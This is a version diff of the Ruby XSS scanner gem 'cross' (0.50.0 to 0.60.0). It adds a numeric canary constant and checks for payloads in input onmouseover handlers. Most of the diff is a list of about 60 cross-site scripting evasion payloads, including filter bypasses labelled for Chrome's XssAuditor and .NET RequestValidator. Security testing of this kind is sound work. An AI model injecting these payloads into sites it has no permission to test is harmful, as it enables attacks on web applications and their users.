cross 0.50.0 → 0.60.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: 72b79605b86769c7845420cf772fe7e5ca4251c9
-  data.tar.gz: de0ec4524597cd129cd1957bdca99587b743f0fa
+  metadata.gz: 4f1bec8b1ce4f2e496fe86f5d966efb87696b4e9
+  data.tar.gz: 8953c2f3a406c7a3cedbeb6f09395e2ddd7e5c11
 SHA512:
-  metadata.gz: 4164f2710605496b67199f45f03f4b680c3926909f949b825f16b6a799534afca8c56496275c1d5f5e9a80139268ca0e90e2d189367981c14c64920732441c29
-  data.tar.gz: 8cec8b9fb129209cdf5266b5e046bff9265f06aec82c68dc00c8bb0727a259ca2715bfbfd94790d62356d160ed347efa9a3ee44ff30aeb0f13a2efce9726ec36
+  metadata.gz: acb82a8dbe95bf8c952f2537d03642ec4f6d059202914d93f8509605beb208bf6088fdca447d84934f5d61446b7ad4e8f9b3442ed213091685abade5879c006e
+  data.tar.gz: a159b734f9bb303170e2e922c936c4c89abfe83524f58f2392bee7e0b2e679813c8371d5c01edd46faa615b39e26f4e94cb7b020aa73e0eeba7ac0d1954b8cb6

data/lib/cross/engine.rb

@@ -75,8 +75,8 @@ module Cross
 
             scripts = page.search("//script")
             scripts.each do |sc|
-              $logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert('cross canary')")
-              return true if sc.children.text.include?("alert('cross canary')")
+              $logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
+              return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
             end
 
             return false if options[:oneshot]
@@ -115,8 +115,6 @@ module Cross
                 ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
                 ff.value = pattern if ff.name==options[:parameter_to_tamper]
 
-
-                # promo=Promo1&codice=&nome=&cognome=&indirizzo=%3Cscript%3Ealert%28%27cross+canary%27%29%3C%2Fscript%3E&comune=&CAP=&provincia=&num1=&num2=&mail=&codfisc=&fase=1
               end
             end
 
@@ -126,7 +124,13 @@ module Cross
             $logger.err "Page is empty" if pp.body.empty?
             scripts = pp.search("//script")
             scripts.each do |sc|
-              return true if sc.children.text.include?("alert('cross canary')")
+              return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
+            end
+
+            # This is for input html field javascript event evasion
+            inputs = pp.search("//input")
+            inputs.each do |input|
+              return true if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})") 
             end
           end 
           return false if options[:oneshot]

data/lib/cross/version.rb

@@ -1,3 +1,3 @@
 module Cross
-  VERSION = "0.50.0"
+  VERSION = "0.60.0"
 end

data/lib/cross/xss.rb

@@ -2,69 +2,71 @@ module Cross
   module Attack
     class XSS
 
+      CANARY = 666
+
       def self.each
 
         evasions = [
-          "<script>alert('cross canary')</script>",
-          "<script>alert('cross canary');</script>",
-          "/--><script>alert('cross canary')</script>",
-          "/--><script>alert('cross canary');</script>",
-          "/--></ScRiPt><ScRiPt>alert('cross canary')</ScRiPt>",
-          "/--></ScRiPt><ScRiPt>alert('cross canary');</ScRiPt>",
-          "//;-->alert('cross canary')",
-          "//;-->alert('cross canary');",
-          "\"//;\nalert('cross canary')",
-          "\"//;\nalert('cross canary');",
-          " onmouseover=alert('1');",
+          "a onmouseover=alert(#{Cross::Attack::XSS::CANARY})",
+          "<script>alert(#{Cross::Attack::XSS::CANARY})</script>",
+          "<script>alert(#{Cross::Attack::XSS::CANARY});</script>",
+          "/--><script>alert(#{Cross::Attack::XSS::CANARY})</script>",
+          "/--><script>alert(#{Cross::Attack::XSS::CANARY});</script>",
+          "/--></ScRiPt><ScRiPt>alert(#{Cross::Attack::XSS::CANARY})</ScRiPt>",
+          "/--></ScRiPt><ScRiPt>alert(#{Cross::Attack::XSS::CANARY});</ScRiPt>",
+          "//;-->alert(#{Cross::Attack::XSS::CANARY})",
+          "//;-->alert(#{Cross::Attack::XSS::CANARY});",
+          "\"//;\nalert(#{Cross::Attack::XSS::CANARY})",
+          "\"//;\nalert(#{Cross::Attack::XSS::CANARY});",
           # more exotic vectors (antisnatchor's collection)
-          "<script/anyjunk>alert('cross canary')</script>",
-          "<<script>alert('cross canary');//<</script>",
-          "<img onerror=alert('cross canary') src=a>",
-          "<xml onreadystatechange=alert('cross canary')>",
-          "<style onreadystatechange=alert('cross canary')>",
-          "<iframe onreadystatechange=alert('cross canary')>",
-          "<object onerror=alert('cross canary')>",
-          "<object type=image src=/images/live.gif onreadystatechange=alert('cross canary')></object>",
-          "<img type=image src=/images/live.gif onreadystatechange=alert('cross canary')>",
-          "<input type=image src=/images/live.gif onreadystatechange=alert('cross canary')>",
-          "<isindex type=image src=/images/live.gif onreadystatechange=alert('cross canary')>",
-          "<script onreadystatechange=alert('cross canary')>",
-          "<bgsound onpropertychange=alert('cross canary')>",
-          "<body onbeforeactivate=alert('cross canary')>",
-          "<body onfocusin=alert('cross canary')>",
-          "<input autofocus onfocus=alert('cross canary')>",
-          "<input onblur=alert('cross canary') autofocus><input autofocus>",
-          "<body onscroll=alert('cross canary')><br><br>...<br><input autofocus>",
-          "</a onmousemove=alert('cross canary')>",
-          "<video src=1 onerror=alert('cross canary')>",
-          "<audio src=1 onerror=alert('cross canary')>",
-          "<object data=javascript:alert('cross canary')>",
-          "<iframe src=javascript:alert('cross canary')>",
-          "<embed src=javascript:alert('cross canary')>",
-          "<form id=test /><button form=test formaction=javascript:alert('cross canary')>",
-          "<event-source src=javascript:alert('cross canary')>",
-          "<x style=behavior:url(#default#time2) onbegin=alert('cross canary')>",
-          "<x style=x:expression(alert('cross canary'))>",
-          "<x onclick=alert('cross canary') src=a>Click here</x>",
-          "<img onerror=\"alert('cross canary')\"src=a>",
-          "<img onerror=`alert('cross canary')`src=a>",
-          "<img/onerror=\"alert('cross canary')\"src=a>",
-          "<img onerror=a&#x6c;ert('cross canary') src=a>",
-          "<img onerror=a&#x06c;ert('cross canary') src=a>",
-          "<img onerror=a&#x006c;ert('cross canary') src=a>",
-          "<img onerror=a&#x0006c;ert('cross canary') src=a>",
-          "<img onerror=a&#108;ert('cross canary') src=a>",
-          "<img onerror=a&#0108;ert('cross canary') src=a>",
-          "<img onerror=a&#0108;ert('cross canary') src=a>",
-          "<img onerror=a&#108ert('cross canary') src=a>",
-          "<img onerror=a&#0108ert('cross canary') src=a>",
-          "<script>function::['alert']('cross canary')</script>",
-          "<svg><script>//&#x0A;alert('cross canary')</script>", #Chrome <= 18 XssAuditor bypass
-          "<script>/*///*/alert('cross canary');</script>", #Chrome <= 20 XssAuditor bypass
-          "<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('cross canary'))>", #.NET RequestValidator bypass
-          "+ADw-script+AD4-alert('cross canary')+ADw-/script+AD4-", # UTF-7
-          "},alert('cross canary'),function x(){//", # DOM breaker
-          "\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert('cross canary')\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e" #DOM-based innerHTML injection
+          "<script/anyjunk>alert(#{Cross::Attack::XSS::CANARY})</script>",
+          "<<script>alert(#{Cross::Attack::XSS::CANARY});//<</script>",
+          "<img onerror=alert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<xml onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<style onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<iframe onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<object onerror=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<object type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})></object>",
+          "<img type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<input type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<isindex type=image src=/images/live.gif onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<script onreadystatechange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<bgsound onpropertychange=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<body onbeforeactivate=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<body onfocusin=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<input autofocus onfocus=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<input onblur=alert(#{Cross::Attack::XSS::CANARY}) autofocus><input autofocus>",
+          "<body onscroll=alert(#{Cross::Attack::XSS::CANARY})><br><br>...<br><input autofocus>",
+          "</a onmousemove=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<video src=1 onerror=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<audio src=1 onerror=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<object data=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
+          "<iframe src=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
+          "<embed src=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
+          "<form id=test /><button form=test formaction=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
+          "<event-source src=javascript:alert(#{Cross::Attack::XSS::CANARY})>",
+          "<x style=behavior:url(#default#time2) onbegin=alert(#{Cross::Attack::XSS::CANARY})>",
+          "<x style=x:expression(alert(#{Cross::Attack::XSS::CANARY}))>",
+          "<x onclick=alert(#{Cross::Attack::XSS::CANARY}) src=a>Click here</x>",
+          "<img onerror=\"alert(#{Cross::Attack::XSS::CANARY})\"src=a>",
+          "<img onerror=`alert(#{Cross::Attack::XSS::CANARY})`src=a>",
+          "<img/onerror=\"alert(#{Cross::Attack::XSS::CANARY})\"src=a>",
+          "<img onerror=a&#x6c;ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#x06c;ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#x006c;ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#x0006c;ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#108;ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#0108;ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#0108;ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#108ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<img onerror=a&#0108ert(#{Cross::Attack::XSS::CANARY}) src=a>",
+          "<script>function::['alert'](#{Cross::Attack::XSS::CANARY})</script>",
+          "<svg><script>//&#x0A;alert(#{Cross::Attack::XSS::CANARY})</script>", #Chrome <= 18 XssAuditor bypass
+          "<script>/*///*/alert(#{Cross::Attack::XSS::CANARY});</script>", #Chrome <= 20 XssAuditor bypass
+          "<~/XSS/*-*/STYLE=xss:e/**/xpression(alert(#{Cross::Attack::XSS::CANARY}))>", #.NET RequestValidator bypass
+          "+ADw-script+AD4-alert(#{Cross::Attack::XSS::CANARY})+ADw-/script+AD4-", # UTF-7
+          "},alert(#{Cross::Attack::XSS::CANARY}),function x(){//", # DOM breaker
+          "\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert(#{Cross::Attack::XSS::CANARY})\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e" #DOM-based innerHTML injection
         ]
         evasions.each do |pattern|
           yield pattern if block_given?

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: cross
 version: !ruby/object:Gem::Version
-  version: 0.50.0
+  version: 0.60.0
 platform: ruby
 authors:
 - Paolo Perego